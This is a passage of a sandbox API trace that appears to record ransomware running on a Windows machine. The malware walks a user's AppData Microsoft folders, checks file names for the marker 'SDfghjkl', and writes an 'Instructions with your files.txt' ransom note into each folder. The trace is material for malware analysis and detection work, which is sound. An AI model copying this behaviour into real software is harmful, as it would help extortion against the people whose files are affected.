[0131.407] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Instructions with your files.txt") returned 100
[0131.407] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\network\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.407] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.408] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.408] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.408] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.408] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.408] CloseHandle (hObject=0x118) returned 1
[0131.408] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.408] GetProcessHeap () returned 0x810000
[0131.408] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.410] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x43c8ae30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x5dae0390, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x5dae0390, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office", cAlternateFileName="")) returned 1
[0131.410] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office") returned 66
[0131.410] GetProcessHeap () returned 0x810000
[0131.410] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.410] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\*") returned 68
[0131.411] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x43c8ae30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x5dae0390, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x5dae0390, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.412] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\.") returned 68
[0131.412] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x43c8ae30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x5dae0390, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x5dae0390, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.412] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\..") returned 69
[0131.412] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4f6ce7b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4f6ce7b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4f6ce7b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x9382, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO1033.acl", cAlternateFileName="")) returned 1
[0131.412] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl") returned 78
[0131.412] StrStrIW (lpFirst="MSO1033.acl", lpSrch="SDfghjkl") returned 0x0
[0131.412] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5dae0390, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x90b3d80, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x90b3d80, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1
[0131.412] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent") returned 73
[0131.412] GetProcessHeap () returned 0x810000
[0131.412] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.413] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\*") returned 75
[0131.413] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5dae0390, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x90b3d80, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x90b3d80, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0131.414] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\.") returned 75
[0131.414] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5dae0390, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x90b3d80, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x90b3d80, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.414] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\..") returned 76
[0131.414] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x90b3d80, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x90b3d80, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x90d9ee0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Global.LNK", cAlternateFileName="")) returned 1
[0131.414] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK") returned 84
[0131.414] StrStrIW (lpFirst="Global.LNK", lpSrch="SDfghjkl") returned 0x0
[0131.414] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x5dc5d150, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x5dc5d150, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x90d9ee0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x34, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
[0131.414] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat") returned 83
[0131.414] StrStrIW (lpFirst="index.dat", lpSrch="SDfghjkl") returned 0x0
[0131.414] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5dc5d150, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x5dc5d150, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x5dc5d150, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates.LNK", cAlternateFileName="TEMPLA~1.LNK")) returned 1
[0131.414] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK") returned 87
[0131.414] StrStrIW (lpFirst="Templates.LNK", lpSrch="SDfghjkl") returned 0x0
[0131.414] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5dc5d150, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x5dc5d150, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x5dc5d150, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates.LNK", cAlternateFileName="TEMPLA~1.LNK")) returned 0
[0131.415] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Instructions with your files.txt") returned 106
[0131.415] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\office\\recent\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0131.417] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0131.417] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0131.419] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0131.419] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0131.419] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0131.419] CloseHandle (hObject=0x11c) returned 1
[0131.420] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0131.420] GetProcessHeap () returned 0x810000
[0131.420] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.420] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5dae0390, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x90b3d80, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x90b3d80, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 0
[0131.420] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Instructions with your files.txt") returned 99
[0131.420] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\office\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.420] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.422] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.422] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.422] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.422] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.422] CloseHandle (hObject=0x118) returned 1
[0131.422] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.422] GetProcessHeap () returned 0x810000
[0131.422] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.423] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5c734300, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x6215c440, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6215c440, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook", cAlternateFileName="")) returned 1
[0131.423] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook") returned 67
[0131.423] GetProcessHeap () returned 0x810000
[0131.423] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.424] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\*") returned 69
[0131.424] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5c734300, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x6215c440, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6215c440, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.425] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\.") returned 69
[0131.425] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5c734300, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x6215c440, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6215c440, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.425] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\..") returned 70
[0131.425] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5de69980, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5de69980, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5e0c9040, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook.srs", cAlternateFileName="")) returned 1
[0131.425] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs") returned 79
[0131.425] StrStrIW (lpFirst="Outlook.srs", lpSrch="SDfghjkl") returned 0x0
[0131.425] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6215c440, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x6215c440, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6215c440, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x9a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook.xml", cAlternateFileName="")) returned 1
[0131.425] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml") returned 79
[0131.425] StrStrIW (lpFirst="Outlook.xml", lpSrch="SDfghjkl") returned 0x0
[0131.425] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6215c440, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x6215c440, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6215c440, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x9a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook.xml", cAlternateFileName="")) returned 0
[0131.425] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Instructions with your files.txt") returned 100
[0131.425] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\outlook\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.426] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.426] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.427] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.427] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.427] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.427] CloseHandle (hObject=0x118) returned 1
[0131.427] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.427] GetProcessHeap () returned 0x810000
[0131.427] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.427] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x33c0ebb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x33c0ebb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x33c0ebb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPoint", cAlternateFileName="POWERP~1")) returned 1
[0131.427] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\PowerPoint") returned 70
[0131.427] GetProcessHeap () returned 0x810000
[0131.427] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.427] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\PowerPoint\\*") returned 72
[0131.427] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\PowerPoint\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x33c0ebb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x33c0ebb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x33c0ebb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.428] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\PowerPoint\\.") returned 72
